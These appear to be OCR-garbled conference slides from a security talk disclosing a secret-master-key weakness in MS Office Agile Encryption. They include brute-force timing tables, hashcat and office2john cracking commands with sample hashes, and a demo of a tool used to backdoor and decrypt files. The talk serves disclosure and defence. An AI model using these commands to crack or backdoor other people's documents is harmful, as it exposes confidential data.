with secret master keys

Yoshinori Takesako (SECCON),
Shigeo Mitsunari (Cybozu Labs)
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Yoshinori Takesako (SECCON)

- Twitter: @takesako

- chairperson of the SECCON (largest CTF in Japan)
- advisory board of the OWASP Japan

- review board for the CODE BLUE security conference

- leader of the Shibuya Perl Mongers group
- Microsoft MVP award of Developer Security in 2008
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Shigeo Mitsunari (Cybozu Labs)

- Twitter: @herumi

- software developer and researcher Q
- pairing-based cryptography and its implementation

- x86/x64 JIT assembler Xbyak

- Best paper award by IEICE in 2010

- Microsoft MVP award of Developer Security in 2015
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- Microsoft Office 2010 and 2013 employ "Agile Encryption”
algorithm in their Office Open XML documents.

- There is a vulnerability in the file format specification that
can allow an attacker to later decrypt strongly encrypted
documents without the password as long as the attacker
has access to the originating MS Office program.

- This is possible by tricking MS Office into creating a nearly
undetectable secret master key when it creates encrypted
documents.
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MS Office 2007~ (supports OOX file formats)

Standard ECMA-376
Office Open XML File Formats

- MS Word
- .doc 2 .docx

15t edition (December 2006), 29 edition (December 2008), 3
edition (June 2011) and 4th edition (December 2012)

This Standard defines Office Open XML's vocabularies and document representation
and packaging. It also specifies requirements for consumers and producers of Office
Open XML.

- MS Excel
Xce An Office Open XML overview is available on the Ecma website.
° .XlS 9 Xlsx X The following files can be freely downloaded:

[File name |Size (Bytes)  [Content
ECMA-376 4th edition Part 1 43 631 768|zipped folder
|ECMA-37M edition Part 2 | 1578 124)zipped folder
. [ECMA-376 4\ jtion Part 3 H 948 269|zipped folder |
° MS PowerPO]-nt [ECMA-376 4tN. M Part 4 [ 8485 360[zipped folder |
__\ N\

* .ppt 2 .pptx Over 5,000 pages..!

[1] http://www.ecma-international.org/publications/standards/Ecma-376.htm
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Protect Document > Encrypt with Password

When you select "Encrypt with Password”,

the Encrypt Document dialog box appears.
In the Password box, type a password.

Confirm Password ?
Protect Document

Reenter password to open:
ﬁ Control what types of changes people | |seesssss
Protect can make to this document. Caution: If you lose or forget the password, it cannot be
Document = recovered. (Remember that passwords are case sensitive.)

] 4 Cancel

D Mark as Final
E Let readers know the document is

final and make it read-only

Encrypt with Password are
g... Password-protect this document

encrypted.docx
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SaveAs > Tools > GeneralOptions > Password

File name: | Docl.docx
Save as type: |Word Document (*.docx)
YRS

takesako

Save Thumbnail

Account
= Hide Folders

Options

w3 Save As
T | | 2lC: ¥Users¥takesako¥Documents vl ¢
8 v FLATAILS—
8 §9v0-F A EZE :
. jr:ijff . AmuseGraphics 2015/07/1% 2:42
? Eaﬁr—;r—vj .. Custom Office Templates 2015/07/15 1:54
- . . Visual Studio 2013 2015/07/14 17:20
BT
[ R
iy O-TL F4A5 (€
80 spxc (D:)
v oL

Al BGOE

Save Cancel

Tools v|

ol

General Options... t

Map Network Drive...

Save Options...

Web Options...

Compress Pictures...

General Options

General Options

EEEEEEEEEEEEEEEEEENEENEEE,
w File encryption options for this document a

: Password to open: |y qenssesl u

n

A EEEEEEEEEEENEEEEEEEEENR
File sharing options for this document

Password to modify:

|:| Read-only recommended
Protect Document...
Macro security

Adjust the security level for opening files that might contain macro viruses and specify

Macro Security...
the names of trusted macro developers.

Cancel

encrypted.docx
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Important: do not forget the password !l

- Mlicrosoft cannot retrieve lost or forgotten
passwords, so keep a list of your passwords
and corresponding file names in a safe place.
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Compare the password cracking times

- DOCX tiles are very strong against Brute-force attack.

File format number of trials

/1P 4 500,000,000 times/sec
ZIP(256bitAES) 1,050,000 times/sec
DOC 12,000,000 times/sec
DOCX 23,000 times/sec

[1] http://www.dit.co.jp/service/report/security-threat_v3.html
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Passcovery - powerful password recovery tools

[# GPU Password Recover x

C [ passcovery.com

Passcove I'V Free Demo—Version)
Ultra-fast GPU password recovery tools for various

formats

Solutions Products Download Purchase

| Passcovery Sul

The professional GPU password
recovery solution for Microsoft Office/
OpenOffice/ Adcbe POF documents,
ZIP/RAR archives, Apple
i0S/Blackberry back-ups, TrueCrypt
volumes and WPA/WPAZ handshakes.
Broad file format support. Remarkably

fast password recovery. Optimization
for AMD/ATI and NVIDIA video cards
for a 40 times speed boost.

. - Recover passwords for different “ o
Passcovery Suite is your one-stop solution for The zoftware iz very

) 1 Supports popular file formats 150109 Passcovery Suite 3.1: Jun ***, China:

. ) ) files using the power of AMD or )
recovenng passwords to yvour files: Microsoft powerful.

X ) WVIDIA video cards
Office, OpenOffice, Adobe PDF, RAR and ZIP

[1] http://passcovery.com/
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Passcovery > Password Recovery Wizard (GUI)

P Passcovery Suite

Password Recovery Wizard

Brute-force settings

All latin smalls

Latin only

File Recovery Options Tools Help

ik 00 e .7

File: D:¥oox¥files¥ulswidema 1. xlex

Type: Microsoft® Excel 2013

Protection: M5 Office 2013, SHAS12, 256-bit AES

Total passwords to process: 351,520

Password range is defined and attack has been started. If password belongs to this range it'll found otherwise you'll need to

[ ANl digits extend password range taking into consideration practical limits based on password recovery speed.
[] all spedals Attack time limited to 30 minutes. Please consider purchasing a license to get rid of this limitation.

[ user defined

abcdefghijkimnopgrstuvwicyz

Total passwords processed: 13,312,
Attack was interrupted by user.

Total passwords to process: 186,843,979

— — Password range is defined and attack has been started. If password belongs to this range itll found otherwise you'll need to
Minimum length 1 5+ Maximum length 4= extend password range taking into consideration practical limits based on password recovery speed.,
Total passwords processed: 34,043,
Mask Mask symbaol ? Passwords skipped due to length limitations: 3.
Passwords to process: 475,254 Attack was interrupted by user, E
Estimated time: 17m 175 @ speed: 458
Total passwords to process: 458,976
Passward range is defined and attack has been started. If password belongs to this ranage it'll found otherwise you'll need to
extend password range taking into consideration practical limits based on password recovery speed.,
Attack time limited to 30 minutes. Please consider purchasing a license to get rid of this limitation. e
[ =7 || Fextu |
Current password;: btoa Estimated time: 14m 40s
Current speed: 431 Average speed: 434
—

@© 2011-2015 Passcovery Co. Ltd. Demo Version
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Latin small (26 letters) [a-z]*

Password length

/1P (1 sec) (1 sec) 46 sec 9 hours
ZIP(256bitAES) (1 sec) 5min | 2days |  4years
DOC (1 sec) 26 sec 5 hours 136 days
DOCX 20 sec 44 min 105 days 195 years

[1] http://www.dit.co.jp/service/report/security-threat_v3.html
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Latin small + capital[A-Z] + digits[0-9] (62 letters)

Password length

/1P (1 sec)
ZIP(256bitAES) 14 sec
DOC (1 sec)
DOCX 10.7 min

13 sec

15 hours

1.3 hours

29 days

13.5 hours 6 years

7 years 26,000 years
211 days 2218 yers

301 years | 1,158,000 years

[1] http://www.dit.co.jp/service/report/security-threat_v3.html
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Latin[a-zA-Z] + digits[0-9] + specials (93 letters)

Password length

ZIP (1 sec)
ZIP(256bitAES) 1.2 sec
DOC 6 sec
DOCX 55 min

2.4 sec 14 days 341 years

7 days 169 years 1,462,000 years
15 hours 15 years 128,000 years

326 days 7800 years i66,726,000 years

[1] http://www.dit.co.jp/service/report/security-threat_v3.html
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Microsoft opened this Cryptography Structure

[MS-OFFCRYPTO]:
Office Document Cryptography Structure

Intellectual Property Rights Notice for Open Specifications Documentation

* Technical Documentation. Microsoft publishes Open Specifications documentation for

protocols, file formats, languages, standards as well as overviews of the interaction among each
of these technologies.

= Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other
terms that are contained in the terms of use for the Microsoft website that hosts this
documentation, you may make copies of it in order to develop implementations of the
technologies described in the Open Specifications and may distribute portions of it in your
implementations using these technologies or your documentation as necessary to properly
document the implementation. You may also distribute in your implementation, with or without
modification, any schema, IDL's, or code samples that are included in the documentation. This
permission also applies to any documents that are referenced in the Open Specifications.

= No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation.

[1] http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/[MS-OFFCRYPTO].pdf



"DO CF 11 EQ" is

DOCEFILE's leet!
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decrypted.docx

encrypted.docx

E® BZ - demol_d.xlsx (Mem)

I7OME) BEE) FRY) EBQ) YoUD) ALT(H)
= & | = Mo 8.1 ~éh|+=0 F &
=+ +12+7 +3 +4 +5 4B +7 +8 +9 +h 4B +C 40 +F +F 0123456799ABCOEF -
000000 %50 4B203 04 14 00 08 00-08 00 D0 0D 21 00 47 56 PH.......... L GY
000010 "5" 73746 01 00 00 FD 08-00 00 13 00 03 02 58 43 E.3........... [C
000020 6F BE 74 65 BE 74 5F 54-79 70 65 73 50 2E 78 8D ontent_Types].xm
000030 6C 20 A2 04 02 28 A0 00-02 00 00 00 00 00 00 00 | F..(..
000040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .........
000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... .
000080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... ZIP file format
000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .........
Ready 0000AF: 0x00 (0) 18,785 bytes sJIs | b
F® BZ - demol.xlsx (Mem) =n BB == ﬁ

I7ILE) BEE) FR((V)

EE()

Y—IA{T) ILT(H)

= || =

= |D:| E- .D.].L.....

~f# =0 TF &

- ) +1 +2 +3 5+ +h 4B

000070 1" 0A "X BA*00 00 00

000000 =00 CF 17 E0GAT BT 14 E1-00 00 00 00 00 00 00 00

+7 +8 3 +4 +B +0 0 +E +F  0123456759ABC0EF -

IEET L

00-3E 00 03 00 FEFF 03 00 ... ... L

= (000020
000030
000040
000050
000060
- 000070

06 00 00 00 00 00 00 00-00 00 00 00 03 00 00 00
01 00 00 00 00 00 00 00-00 10 00 00 02 00 00 00
01 00 00 00 FE FF FF FF-00 00 00 00 00 00 00 00
07 00 00 00 08 00 00 0O-FF FF FF FF FF FF FF FF
FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF

Ready

0000AE: OxFF (255)

25,088 bytes

515 =
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oclHashcat - advanced password recovery

Download latest version
hashcat
Hame Yersion red s un Date
advanced
oc|Hasheat for AWMD wi 3B AbS A 7EAb 2ATa 2752 18 7d3bdEAF 79 1de 20150425
password —
recover—}; oclHasheat for HVidia wi 3B 1afblazbadl 4:70EceE0dc2FEd5dd2be 20150425

GPU Driver requirements:

nt med V1 E IESIET

hashcat

N users require ForceWare 345.x or later
AMD users reguire Catalyst 14.9 exactly

Features

oclHashcat

Worlds fastest password cracker

oclGaussCrack Worlds first and only GPGPU based rule engine Suppor‘l'ed new .docx's thh

Free o
Forum Multi-GPU (up to 128 gpus) (Offlce 201 0/201 3)

Multi-Hash (up to 100 millicn hashes)
Wiki Multi-OS (Linwx & Windows native binaries)

Multi-Platform (O penCL & CUDA support)
Trac Multi-&lgo (see below)

Low resourc e utilization, you can stil watch movies or play games while cracking
Tools Focuses highly iterated modern hashes

Foouses dictionary based attacks
Events Supports distributed cracking

Supports pause / resume while cracking

[1] http://hashcat.net/oclhashcat/
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oclHashcat - How to use

- Cracking password protected Office documents

> cudaHashcat64.exe -a © -m 9600 --username demol.docx:$office$*
2013*10000*256*16*fa383e06ac8c7cfl12e55a9921c6a44ff*b85e024368acc

b51fdfc8e63bc9cb68d*b4b7al6d577e3e541f8aba367cd428d1faelce8c2c40
be5eab5a7e88977e4536 rockyou.txt

- cudaHashcat64.exe (It works on GPU)
- -a 0 (dictionary attack mode)

- -m 9600 (Office 2013)
- ——username demol.xlsx:$office$*2013*10000*256*16*hash...



==

oclHashcat v1.36 (It works on Nvidia GeForce)

Hash-Mode
(-m)

9400
9500
9600
9710

9720

Hash-Name

Office 2007
Office 2010

Office 2013

Oftice 97-03
(MD5+R(C4, collider-mode#1)

Office 97-03
(MD5+RC4, collider-mode#2)

Example
(--username)

$office$*2007*20*128%16*411a51284e0d0200b131a8949aaaa5cc*11
7d532441c63968bee7647d9b7d{7d6*df1d601ccf905b375575108f42
ef838fb88elcde

$office$*2010*100000*128*16*772332010172777882672210147572
62*b2d0ca4854bal19cf95a2647d5eee906c*e30cbbb189575cafb6f1
42a90¢c2622fa9e¢78d293c5b0c001517b3£f5b82993557

$office$*2013*100000%*256*16*7dd611d7eb4c899f74816d1dec817
b3b*948dc0b2c2c6¢32f14b5995a543ad037*0b7ee0e48e935f93719
2a59ded48a7d561ef2691d5c8a3ba87ec2d04402a94895

$oldoffice$1*04477077758555626246182730342136*b1b72{£351e41
a7c68f6b45c4e938bd6*0d95331895e99t73ef8bb6fbc4a78acla

$oldoffice$1*04477077758555626246182730342136*b1b72{f351e41
a7c68f6b45c4e938bd6*0d95331895e99{73ef8bb6fbc4a78acla

[1] http://hashcat.net/wiki/doku.php?id=example_hashes
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office2john.py (exiract hash from encrypted file)

- demol.docx (Password="pass")

> office2john.py demol.docx

demol.docx:$office$*2013*10000*256*16*fa383e06ac8c7cfl2e55a9921c6ad44ff*b85e024368accb5s
1fdfc8e63bc9cb68d*b4b7al6d577e3e541f8aba367cd428dlfaelce8c2c40be5eab5a7e88977e4536

- demo2.docx (Password="pass1234")

> office2john.py demo2.docx

demo2.docx:$office$*2013*10000*256*16*fa383e06ac8c7cfl2e55a9921c6ad44ff*dfa7792d177ed66
£79369e4a38f1de74*b506ad79ce02ab18bb04e98d01484412e43503f405b7008fde7e5c639866c970

[1] https://github.com/kholia/RC4-40-brute-office/



SELC O

[MS-CFB] Compound File Binary File Format

[MS-CFB]:
Compound File Binary File Format

Intellectual Property Rights Notice for Open Specifications Documentation

= Technical Documentation. Microsoft publishes Open Specifications documentation for

protocols, file formats, languages, standards as well as overviews of the interaction among each
of these technologies.

= Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other
terms that are contained in the terms of use for the Microsoft website that hosts this
documentation, you may make copies of it in order to develop implementations of the
technologies described in the Open Specifications and may distribute portions of it in your
implementations using these technologies or your documentation as necessary to properly
document the implementation. You may also distribute in your implementation, with or without
modification, any schema, IDL's, or code samples that are included in the documentation. This
permission also applies to any documents that are referenced in the Open Specifications.

= No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation.




Yes, | can read this..!

R~

DirectoryEntry 1

directoryEntryName = Encryptioninfo (30)
obf'ecHype =°2('§S‘t’;'eamobject)

colorFlag = e )
égn:gligli‘n Id = FREE, rightSiblingld = 2
clsid = 00, stateBits = 0x00000000
creation/modified Time = not set / not set
startingSectorLocation = 0 T G
streamSize = 224
data=[03:00:02:00:

3:104 - 8000 00780 000000 18:00-00:00
72:0016f 00 73:00:6f -

SELCLC O

[MS-CFB]:
Compound File Binary File Format

Intellectual Property Rights Notice for Open Specifications Documentation

= Technical D ation. Microsoft publishes Open Specifications documentation for
protocols, file formats, languages, standards as well as overviews of the interaction among each
of these technologies.

= Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other
terms that are contained in the terms of use for the Microsoft website that hosts this
documentation, you may make copies of it in order to develop implementations of the
technologies described in the Open Specifications and may distribute portions of it in your
implementations using these technologies or your documentation as necessary to properly
document the implementation. You may also distribute in your implementation, with or without
modification, any schema, IDL’s, or code samples that are included in the documentation. This
permission also applies to any documents that are referenced in the Open Specifications.

= No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation.

R0T00: 0016621 -dd- ab-63:62:
oA 4d.c1:dc e3:6:94:17:2¢!

[MS-OFFCRYPTO]:
Office Document Cryptography Structure

Intellectual Property Rights Notice for Open Specifications Documentation

= Technical D ation. Microsoft publishes Open Specifications documentation for
protocols, file formats, languages, standards as well as overviews of the interaction among each
of these technologies.

= Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other
terms that are contained in the terms of use for the Microsoft website that hosts this
documentation, you may make copies of it in order to develop implementations of the
technologies described in the Open Specifications and may distribute portions of it in your
implementations using these technologies or your documentation as necessary to properly
document the implementation. You may also distribute in your implementation, with or without
modification, any schema, IDL’s, or code samples that are included in the documentation. This
permission also applies to any documents that are referenced in the Open Specifications.

= No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation.
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[MS-OFFCRYPTO] is very interesting file format

Revision Summary

[MS-OFFCRYPTO]: Revision Revision

- Date History Class Comments
Office Document Cryptography Structure
04/04/2008 | 0.1 Initial Availability
06/27/2008 1.0 Major Revised and edited the technical content
Intellectual Property Rights Notice for Open Specifications Documentation — - y -
10/06/2008 1.01 Editorial Revised and edited the technical content

= Technical Documentation. Microsoft publishes Open Specifications documentation for — 3 - N
protocols, file formats, languages, standards as well as overviews of the interaction among each 12/12/2008 | 1.02 Editorial Revised and edited the technical content
of these technologies.

03/18/2009 1.03 Editorial Revised and edited the technical content
= Copyrights. This documentation is coverad by Microsoft copyrights. Regardless of any other . . N .
terms that are contained in the terms of use for the Microsoft website that hosts this 07/13/2009 | 1.04 Major Revised and edited the technical cantent
documentation, you may make copies of it in order to develop implementations of the 08/28/2009 | 1.05 Major Updated and revised the technical content
technologies described in the Open Specifications and may distribute portions of it in your
implementations using these technelogies or your documentation as necessary to properly 11/06/2009 | 1.06 Editorial Revised and edited the technical content
document the implementation. You may also distribute in your implementation, with or without — - - -
modification, any schema, IDL’s, or code samples that are included in the documentation. This 02/1%/2010 | 2.0 Editorial Revised and edited the technical content
ermission also applies to any documents that are referenced in the Open Specifications.
p PP \ P P 03/31/2010 2.01 Editorial Revised and edited the technical content
* No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation. — - - -
04/30/2010 2.02 Editarial Revised and edited the technical content
= Patents. Microsoft has patents that may cover your implementations of the technologies - ) ) -
described in the Open Specifications. Neither this notice nor Microsoft's delivery of the 06/07/2010 | 2.03 Editoeial Revised and edited the technical content
ducumenta_uon grants any licenses under_’ those or any other_M\cmsoﬁ patents. However, a given 06/29/2010 | 2.04 Editorial Changed language and formatting in the technical
Open Specification may be covered by Microsoft Open Specification Promise or the Community content.
Promise. If you would prefer a written license, or if the technologies described in the Open
Specifications are not covered by the Open Specifications Promise or Community Promise, as 07/23/2010 | 2.05 Minor Clarified the meaning of the technical content.
applicable, patent licenses are available by contacting ipla@microseft.com.
09/27/2010 2.05 MNo change Mo changes to the meaning, language, or formatting of
= Trademarks. The names of companies and products contained in this documentation may be the technical content.
covered by trademarks or similar intellectual property rights. This notice does not grant any
licenses under those rights. For a list of Microsoft trademarks, visit 11/15/2010 | 2.05 No change No changes to the meaning, language, or formatting of

www.microsoft.com/trademarks. the technical content.

12/17/2010 2.05 MNo change Mo changes to the meaning, language, or formatting of

= Fictitious Names. The example companies, organizations, products, domain names, email the technical content.

addresses, logos, people, places, and events depicted in this documentation are fictitious. No

association with any real company, organization, product, domain name, email address, logo, 03/18/2011 | 2.05 Mo change Mo changes to the meaning, language, or formatting of

person, place, or event is intended or should be inferred. the technical content.
Reservation of Rights. All other rights are reserved, and this notice does not grant any rights 06/10/2011 | 2.05 No change No changes to the meaning, language, or formatting of
other than specifically described above, whether by implication, estoppel, or otherwise. the technical content.
Tools. The Open Specifications do not require the use of Microsoft programming tools or 01/20/2012 | 2.6 Minaor Clarified the meaning of the technical content.
programming environments in order for you to develop an implementation. If you have access to
Microsoft programming tools and environments you are free to take advantage of them. Certain 04/11/2012 | 2.6 No change No changes to the meaning, language, or formatting of
Open Specifications are intended for use in conjunction with publicly available standard the technical content.
specmcauo_ns and netvyork programming art, and assumes that the reader either is familiar with the 07/16/2012 | 2.7 Minor Clarified the meaning of the technical content.
aforementioned material or has immediate access to it.

10/08/2012 2.8 Minor Clarified the meaning of the technical content.
1/110 27110

[MS-OFFCRYPTO] — v20141019 [MS-OFFCRYPTO] — v20141019
Office Document Cryptography Structure Office Document Cryptography Structure
Copyright © 2014 Microsoft Corporation. Copyright © 2014 Microsoft Corporation.
Release: October 30, 2014 Release: October 30, 2014

[1] http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/[MS-OFFCRYPTO].pdf
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PasswordKeyEncryptor Generation algorithm

6 I::‘--‘ﬂ https://msdn.microsoft.com/en-us /library/dd9s0165(v=office.12).asp O ~ @& & | [ [MS-OFFCRYPTO]: Pass... N ALE

m Microsoft | De - Ne c Sign in MSDN subscriptions Get tools

Technologies v Downloads ~  Programs +~  Community ~  Documentation ~  Samples

Was this page helpful? Your feedback about this content is important. Let us know what you think. - -
| Export ) W prin: |
P MSDN Library . .
+ Open Specifictions 2.3.4.13 PasswordKeyEncryptor Generation (Agile

b Data Portability )

¥ Office File Formats Encryptio n)
P Technical Documents

P [MS-OFFCRYPTO]: Office Document
Cryptography Structure

Office

b 2 Structures Far agile encryption, the password key encryptor XML element specified in section 2.3.4.10 MUST be created as follows:

¥ 2.3 Encryption saltSize: Set this attribute to the number of bytes used by the binary form of the saltValue attribute. It MUST conform to a SaltSize type.
4 2.3.4 ECMA-376 Document . ) ] i
Encryption blockSize: Set this attribute to the number of bytes needed to contain an encrypted block of data, as defined by the cipherAlgorithm
:ﬂ A1 used. It MUST conform to a BlockSize type.
La L
\OxO&DataSpaces\DataSpaceMa keyBits: Set this attribute ta the number of bits needed to contain an encryption key, as defined by the cipherAlgorithm used. It MUST
Stream conform to a KeyBits type.
2342 ) . . ] . . .
\Ox06DataSpaces\DataSpacelnfi hashSize: Set this attribute to the nur'rjber of bytes needed to contain the output of the hashing algorithm defined by the hashAlgorithm
element. It MUST conform to a HashSize type.
Storage
2.34.3 cipherAlgorithm: Set this attribute to a string containing the cipher algorithm used to encrypt the encryptedVerifierHashlnput,

\Ox06DataSpaces\Transforminfc encryptedVerifierHashValue, and encryptedKeyValue. It MUST conform to a CipherAlgorithm type.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx


https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx
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Data Encryption (Agile Encryption)

1. The Encryptedl?a.ckagestream (1) MUST be encrypted in 4096-byte
segments to facilitate nearly random access while allowing CBC modes to
beused in the encryption process.

2. The initialization vector for the encryption process MUST be obtained by
using the zero-based segment number as a blockKey and the binary form
of the KeI%;[Data.saltValue as specified in section 2.3.4.12. The block
number MUST be represented as a 32-bit unsigned integer.

3. Data blocks MUST then be encrypted by using the initialization vector
and the intermediate key obtained by decrylg mbg the encryptedKeyValue
from a KeyEncryptor contained within the KeyEncr g.)tors se%uence as
specified in section 2.3.4.10. The final data block MUST be padded to the
next integral multiple of the KeyData.blockSize value. Any C{Jadding bytes
can be used. Note that the StreamSize field of the EncryptedPackage
stream (1) sgeciﬁes the number of bytes of unencrypted data as specified
in section 2.3.4.4.

[1] https://msdn.microsoft.com/en-us/library/dd949735(v=office.12).aspx
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Agile Encryption has the following atiributes

1. encryptedVerifierHashInput
2. encryptedVerifierHashValue
3. encryptedKeyValue

4. saltValue
5

. spinCount
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encryptedVerifierHashinput

This attribute MUST be generated by using the following steps:

1. Generate a random array of bytes with the number of bytes used
specified by the saltSize attribute.

2. Generate an encryption key as specified in section 2.3.4.11 by using the
user-supplied password, the binary byte array used to create the
saltValue attribute, and a blockKey byte array consisting of the following
bytes: Oxfe, 0xa7, 0xd2, 0x76, 0x3b, 0x4b, 0x9¢, and 0x79.

3.  Encrypt the random array of bytes generated in step 1 by using the binary
form’ of the saltValue attribute’as an initialization vector as specified in
section 2.3.4.12. If the array of bytes is not an integral multi{) e of
blockSize bytes, pad the array with 0x00 to the next integral multiple of
blockSize bytes.

4. Use base64 to encode the result of step 3.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx
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encryptedVerifierHashValue

This attribute MUST be generated by using the following steps:

1. Obtain the hash value of the random arra}tl of bytes generated in step 1 of
the steps for encrypted VerifierHashInput.

2. Generate an encryption key as specified in section 2.3.4.11 by using the
user-supplied password, the binary byte array used to create the .
saltValue attribute, and a blockKey byte array consisting of the following
bytes: 0xd7, 0xaa, 0x0f, 0x6d, 0x30, 0x61, 0x34, and 0x4e.

3. Enc%/pt the hash value obtained in step 1 by using the binary form of the
saltValue attribute as an initialization vector as specified in Section
2.3.4.12. If hashSize is not an integral multiple of blockSize bytes, pad the
hash value with 0x00 to an integral multiple of blockSize bytes.

4. Use base64 to encode the result of step 3.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx
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encryptedKeyValue

This attribute MUST be generated by using the following steps:

1. Generate a random array of bytes that is the same size as specified by the
Encryptor.KeyData.keybBits attribute of the parent element.

2. Generate an encrygtion key as specified in section 2.3.4.11, usin%]the user-
supplied password, the binary byte array used to create the saltValue
attribute, and a blockKey byté array consisting of the following bytes:
0x14, 0x6e, 0x0b, 0xe7, 0xab, Oxac, 0xd0, and 0xdsé.

3.  Encrypt the random array of bytes generated in step 1 by using the binary
form’ of the saltValue attribute as an initialization vector as specified in
section 2.3.4.12. If the array of bytes is not an integral multiple of
blockSize bytes, pad the atray with 0x00 to an integral multiple of
blockSize bytes.

4. Use base64 to encode the result of step 3.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx
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saltValue

1. Set this attribute to a base64-encoded, randomly
generated array of bytes.

2. It MUST conform to a SaltValue type.

3. The number of bytes required by the decoded form of
this element MUST be saltSize.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx
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spinCount

1. Set this attribute to the number of times to iterate the
password hash when creating the key used to encrypt the
encrypted VerifierHashInput,
encryptedVeritierHashValue, and
encryptedKeyValue.

2. It MUST conform to a SpinCount type.

[1] https://msdn.microsoft.com/en-us/library/dd950165(v=office.12).aspx



password checking and decoding algorithms

pwHash = hashPassword(salt, pass, spinCount);
skeyl = generateKey(pwHash, imm_VerifierHashInput);
skey2 = generateKey(pwHash, imm_encryptedVerifierHashValue);

verifierl = decode(encryptedVerifierHashInput, skeyl, salt);
verifier2 = decode(encryptedVerifierHashValue, skey2, salt);
if (digest(verifierl) != verifier2) {

return false;
}
skey3 = generateKey(pwHash, imm_encryptedKeyValue);
secretKey = decode(encryptedKeyValue, skey3, salt);
decData = DecContent(encData, secretKey, keyDataSalt);
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how the integrity of the content is verified

saltl = generateIv(keyData, imm_dataIntegrityl, saltValue);
salt2 = generateIv(keyData, imm_dataIntegrity2, saltValue);

salt decode(encryptedHmacKey, secretKey, saltl);
expected = decode(encryptedHmacValue, secretKey, salt2);

return Hmac(salt, encryptedPackage) == expected;
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problem with generating the secretKey

1. The secretKey used in AES encryption needs to create an
unique key with random data.

2. If the key is long enough and was created with truly
random data then it is thought to be extremely difficult to
crack.

3. However, if the secretKey was chosen in a predictable
manner then it will be easy to crack.

4. The integrity of secure random generators (both software
and hardware based) are imperative for strong
encryption.
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msoffice-crypt.exe (Cybozu Labs)

usage: msoffice-crypt.exe [opt] input output

-h : show this message

-p password in only ascii

-k master key in hex. ex. 0123456789ABCDEF0123456789ABCDEF
-encMode O@:use AES128(default), 1: use AES256 for encoding
-ph8 password in utf8 hex. ex. 68656C6C6F for 'hello'
-phl6 password in utfl6 hex. ex. u3042 for 'a' in hiragana
-e encode

-d decode

-v print debug info

-vv print debug info and save binary data
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-d decode / -p password (in ascii)

- demol.xlsx (Password="pass")

msoffice-crypt.exe -d -p pass demol.xlsx [demol d.xlsx]

- demo2.xlsx (Password="pass1234")

msoffice-crypt.exe -d -p passl234 demo2.xlsx [demo2. d.xlsx]
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-d decode / -k master key (in hex)

- demol.xlsx (Password="pass")

msoffice-crypt.exe -d:-k 00112233...FF:demol.xlsx [demol d.xlsx]

- demo2.xlsx (Password="pass1234")

msoffice-crypt.exe -d: -k 00112233...FF:demol.xlsx [demol d.xlsx]
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-e encode / -k master key / -p password

- Encrypt demol.xlsx (Password="pass")

msoffice-crypt -e: -k 00...FF -p pass: demol d.xlsx demol.xlsx

- Encrypt demo2.xlsx (Password="pass1234")

msoffice-crypt -e: -k 00...FF -p passl234:demo2_d.xlsx demo2.xlsx

backdooring - Another password with Same master key
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Proof of Concept

JX> B JOY Tk - msoffice-crypt.exe -d -v -p pass1234 demo2.xlsx
73 00 66 00 6F 00 72 00 6D 00 00 00 91 00 PO 0O it
01 00 00 PO 01 00 PO 00 00 00 PO PO PO 0O 0O 0O
ﬂx g 00 00 00 PO V4 00 Q0 00

e ) I o o e o o o oo ) ot e o e

directoryEntryName = EncryptionInfo(30)
objectType = 2(StreamObject)

colorFlag = 1(Black)

leftSiblingId = 2, rightSiblingld = 1

childId = FREE

clsid = 00, stateBits = 0x00000000
creation/modified Time = not set / not set
startingSectorLocation = 9

streamSize = 1288

data=[04:00:04:00:40: ... 74:69:6T:6e:3e:]
major=4, minor=4
secretKey=00:11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:00:11:22:33
:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:

package size:header 18785 encryptedPackage 18808

L:\oox\demo>msoffice-crypt.exe -d -v -p passl234 demo2.xlsx

i 3:56
S REE e O s
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[demo] http://youtu.be/aROLV7T9k_M

1. In this demo, demol.xlsx is encrypted with the password
"pass”. The target software is MS Excel 2013 (Oftice 365).

2. demo2.xlsx is encrypted with another password "pass1234".

3. However, MS Office was manipulated to implant a hidden
master key when these files were created.

4. Therefore, these files can be easily decrypted by the same
master key without any need to brute-force the password.

5. In this example, the master key is set to "001122...FF0011...FF".
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[demo] hitp://youtu.be/aROLV7T?k_M

aYY R JOYT - start demo1i.xlsx

L:\oox\demo>dir
lg(E Volume in drive L is share
excel 2013 J Volume Serial Number is ED13-3C3D

Directory of L:\oox\demo

2015/07/15 ©3:54 <DIR>

2015/07/15 ©3:40 <DIR> %

2015/07/13 11:53 447,488 msoffice-crypt.exe
2015/07/13 ©1:53 337,920 ssleay32.dll

2015/07/13 ©1:53 1,650,176 libeay32.dll
2015/07/15 03:47 25,088 demol.xlsx

4 File(s) 2,460,672 bytes

2 Dir(s) 926,042,578,944 bytes free

L:\oox\demo>start demol.xlsx

e 3:55
SR O s
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Microsoft Office 2013 DocRecrypt Tool (official)

- IT admin can "unlock” the password-protected OOXML
Word, Excel and PowerPoint files for a user and then either
leave the file without password protection! (it is official)

B® Microsoft

Download Center |

Shop ~ Products « Categories v Support v Security ~

u Microsoft Office 2013 DocRecrypt Tool

Language: English

This tool allows admins to unprotect or change the password on password protected
